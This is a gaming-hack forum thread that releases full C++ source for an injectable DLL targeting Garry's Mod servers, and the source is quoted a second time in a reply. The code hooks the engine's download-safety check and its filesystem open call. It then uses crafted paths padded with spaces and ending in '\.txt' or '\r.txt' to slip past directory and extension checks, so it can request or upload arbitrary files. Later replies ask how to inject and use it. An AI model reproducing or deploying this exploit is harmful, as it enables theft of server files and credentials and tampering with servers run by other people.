Source from the rcon hack DLL

Posts 1–15 of 19 · Page 1 of 2
Source from the rcon hack DLL
So a while back a DLL that allowed people to request and send files to some gmod servers was going around, thought I would get you guys the source.
Code:
#define WIN32_LEAN_AND_MEAN
#define VC_EXTRALEAN
#include <Windows.h>
#include <string>
 
#include "cdll_int.h"
#include "iclient.h"
#include "inetchannel.h"
#include "convar.h"
#include "filesystem.h"
 
#include "util/SigScan.h"
#include "util/vfnhook.h"
#include "detours.h"
 
IBaseFileSystem *fs;
 
typedef char(__cdecl *IsSafeForDownloadFn)(const char *file_name);
IsSafeForDownloadFn IsSafeForDownload;
char __cdecl IsSafeForDownload_Hook(const char *file_name) {
        std::string path = file_name;
 
        if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
                return 1;
        }
 
        return IsSafeForDownload(file_name);
}
 
DEFVFUNC_(IBaseFileSystem_Open, FileHandle_t, (IBaseFileSystem *thisptr, const char *pFileName, const char *pOptions, const char *pathID));
 
FileHandle_t VFUNC IBaseFileSystem_Open_Hook(IBaseFileSystem *thisptr, char *pFileName, const char *pOptions, const char *pathID) {
        std::string path = pFileName;
       
        if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
                path = path.substr(0, path.size() - 5);
                path = path.substr(0, path.find_last_not_of(" ") + 1);
 
                Warning("Opening: %s\n", path.c_str());
 
                strcpy(pFileName, path.c_str());
        }
 
        return IBaseFileSystem_Open(thisptr, pFileName, pOptions, pathID);
}
 
 
int transfer_id = 64;
 
void SendFile(const CCommand &args)
{
        CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
 
        IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
 
        INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
 
        if (!args.Arg(1)) {
                Warning("No file name given\n");
                return;
        }
       
 
        std::string path = args.Arg(1);
        path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
 
        net->SendFile(path.c_str(), transfer_id++);
 
        Warning("Sending: %s\n", args.Arg(1));
}
ConCommand send_file("send_file", SendFile, "Send file to server", FCVAR_NONE);
 
void RequestFile(const CCommand &args)
{
        CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
 
        IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
 
        INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
 
        if (!args.Arg(1)) {
                Warning("No file name given\n");
                return;
        }
 
        const int target_length = 234;
 
        // WINDOWS
        std::string path = args.Arg(1);
        path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
        path.append((target_length - 5) - path.length(), ' '); // Bypass extension checks
        path.append("\\.txt");
 
        net->RequestFile(path.c_str());
 
 
        // LINUX
        std::string unix_path = args.Arg(1);
        unix_path.replace(unix_path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
        unix_path.append("\r.txt"); // Bypass extension checks
 
        net->RequestFile(unix_path.c_str());
 
       
        Warning("Requesting: %s\n", args.Arg(1));
}
ConCommand request_file("request_file", RequestFile, "Request file from server", FCVAR_NONE);
 
DWORD WINAPI ThreadCallback(LPVOID lpParameter)
{
        Sleep(2000);
 
        CreateInterfaceFn VSTDLibFactory = Sys_GetFactory("vstdlib.dll");
 
        ICvar *g_ICvar = (ICvar *) VSTDLibFactory(CVAR_INTERFACE_VERSION, 0);
        g_ICvar->RegisterConCommand(&send_file);
        g_ICvar->RegisterConCommand(&request_file);
 
        Sys_LoadInterface("FileSystem_Stdio", BASEFILESYSTEM_INTERFACE_VERSION, nullptr, (void **)&fs);
 
        if (!fs) {
                Warning("[FILE_TRANSFER] Could not get IBaseFileSystem!\n");
                return 0;
        }
 
        HOOKVFUNC(fs, 2, IBaseFileSystem_Open, IBaseFileSystem_Open_Hook);
 
 
        IsSafeForDownload = (IsSafeForDownloadFn)SigScan("engine.dll").Scan("\x55\x8B\xEC\x81\xEC????\x57\x8B\x7D\x08\x85\xFF\x0F\x84????\x80\x3F?\x0F\x84????\x57");
 
        DETOURS_START();
        DETOURS_HOOK(IsSafeForDownload, IsSafeForDownload_Hook);
        DETOURS_END();
        return 0;
}
 
bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
        if (dwReason == DLL_PROCESS_ATTACH) {
                DisableThreadLibraryCalls(hModule);
 
                CreateThread(nullptr, 0, ThreadCallback, nullptr, 0, nullptr);
        }
 
        return true;
}
nice for giving the mpgh something public and credits 2 d3x for releasing this on the ********** thread not this idiot
Quote Originally Posted by RageMan12 View Post
So a while back a DLL that allowed people to request and send files to some gmod servers was going around, thought I would get you guys the source.
Code:
#define WIN32_LEAN_AND_MEAN
#define VC_EXTRALEAN
#include <Windows.h>
#include <string>
 
#include "cdll_int.h"
#include "iclient.h"
#include "inetchannel.h"
#include "convar.h"
#include "filesystem.h"
 
#include "util/SigScan.h"
#include "util/vfnhook.h"
#include "detours.h"
 
IBaseFileSystem *fs;
 
typedef char(__cdecl *IsSafeForDownloadFn)(const char *file_name);
IsSafeForDownloadFn IsSafeForDownload;
char __cdecl IsSafeForDownload_Hook(const char *file_name) {
        std::string path = file_name;
 
        if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
                return 1;
        }
 
        return IsSafeForDownload(file_name);
}
 
DEFVFUNC_(IBaseFileSystem_Open, FileHandle_t, (IBaseFileSystem *thisptr, const char *pFileName, const char *pOptions, const char *pathID));
 
FileHandle_t VFUNC IBaseFileSystem_Open_Hook(IBaseFileSystem *thisptr, char *pFileName, const char *pOptions, const char *pathID) {
        std::string path = pFileName;
       
        if (path.length() >= 5 && (path.substr(path.size() - 5) == "\\.txt" || path.substr(path.size() - 5) == "\r.txt")) {
                path = path.substr(0, path.size() - 5);
                path = path.substr(0, path.find_last_not_of(" ") + 1);
 
                Warning("Opening: %s\n", path.c_str());
 
                strcpy(pFileName, path.c_str());
        }
 
        return IBaseFileSystem_Open(thisptr, pFileName, pOptions, pathID);
}
 
 
int transfer_id = 64;
 
void SendFile(const CCommand &args)
{
        CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
 
        IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
 
        INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
 
        if (!args.Arg(1)) {
                Warning("No file name given\n");
                return;
        }
       
 
        std::string path = args.Arg(1);
        path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
 
        net->SendFile(path.c_str(), transfer_id++);
 
        Warning("Sending: %s\n", args.Arg(1));
}
ConCommand send_file("send_file", SendFile, "Send file to server", FCVAR_NONE);
 
void RequestFile(const CCommand &args)
{
        CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
 
        IVEngineClient *cl_engine = (IVEngineClient *)engineFactory(VENGINE_CLIENT_INTERFACE_VERSION_13, 0);
 
        INetChannel *net = (INetChannel *)cl_engine->GetNetChannelInfo();
 
        if (!args.Arg(1)) {
                Warning("No file name given\n");
                return;
        }
 
        const int target_length = 234;
 
        // WINDOWS
        std::string path = args.Arg(1);
        path.replace(path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
        path.append((target_length - 5) - path.length(), ' '); // Bypass extension checks
        path.append("\\.txt");
 
        net->RequestFile(path.c_str());
 
 
        // LINUX
        std::string unix_path = args.Arg(1);
        unix_path.replace(unix_path.find_first_of("/"), 1, "\\"); // Bypass the dir checks such as "lua/", "addons/"
 
        unix_path.append("\r.txt"); // Bypass extension checks
 
        net->RequestFile(unix_path.c_str());
 
       
        Warning("Requesting: %s\n", args.Arg(1));
}
ConCommand request_file("request_file", RequestFile, "Request file from server", FCVAR_NONE);
 
DWORD WINAPI ThreadCallback(LPVOID lpParameter)
{
        Sleep(2000);
 
        CreateInterfaceFn VSTDLibFactory = Sys_GetFactory("vstdlib.dll");
 
        ICvar *g_ICvar = (ICvar *) VSTDLibFactory(CVAR_INTERFACE_VERSION, 0);
        g_ICvar->RegisterConCommand(&send_file);
        g_ICvar->RegisterConCommand(&request_file);
 
        Sys_LoadInterface("FileSystem_Stdio", BASEFILESYSTEM_INTERFACE_VERSION, nullptr, (void **)&fs);
 
        if (!fs) {
                Warning("[FILE_TRANSFER] Could not get IBaseFileSystem!\n");
                return 0;
        }
 
        HOOKVFUNC(fs, 2, IBaseFileSystem_Open, IBaseFileSystem_Open_Hook);
 
 
        IsSafeForDownload = (IsSafeForDownloadFn)SigScan("engine.dll").Scan("\x55\x8B\xEC\x81\xEC????\x57\x8B\x7D\x08\x85\xFF\x0F\x84????\x80\x3F?\x0F\x84????\x57");
 
        DETOURS_START();
        DETOURS_HOOK(IsSafeForDownload, IsSafeForDownload_Hook);
        DETOURS_END();
        return 0;
}
 
bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
        if (dwReason == DLL_PROCESS_ATTACH) {
                DisableThreadLibraryCalls(hModule);
 
                CreateThread(nullptr, 0, ThreadCallback, nullptr, 0, nullptr);
        }
 
        return true;
}
Nice release +rep?
I did the same thing using http:// mate.
Quote Originally Posted by Badman Tyler View Post
I did the same thing using http:// mate.
Show method or your a skid using skidsploits of the sploitings to try and act like a cool kid on the blockens to try and get the sploitens of the codens to mask the xxxxx??????xxxxx?????? sigscans of the codes to try and fake being a l33t faker?
Quote Originally Posted by suchisgood View Post
Show method or your a skid using skidsploits of the sploitings to try and act like a cool kid on the blockens to try and get the sploitens of the codens to mask the xxxxx??????xxxxx?????? sigscans of the codes to try and fake being a l33t faker?
http://*******.com/1337_rcon_darkrp_bypass
Quote Originally Posted by suchisgood View Post
Okay what is *********, You racist?
I can't say, it's been withheld by the CIA. Sorry about that.
how to get this to work?
Just compile and inject this?
And i get files of server?
Haha

Thank for the release man !
So, how to use it?
Quote Originally Posted by hve396 View Post
So, how to use it?
Make a .txt, paste the code in, change to .exe and run.
Quote Originally Posted by hve396 View Post
So, how to use it?
nice bump, do you want a trampoline?
Posts 1–15 of 19 · Page 1 of 2
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us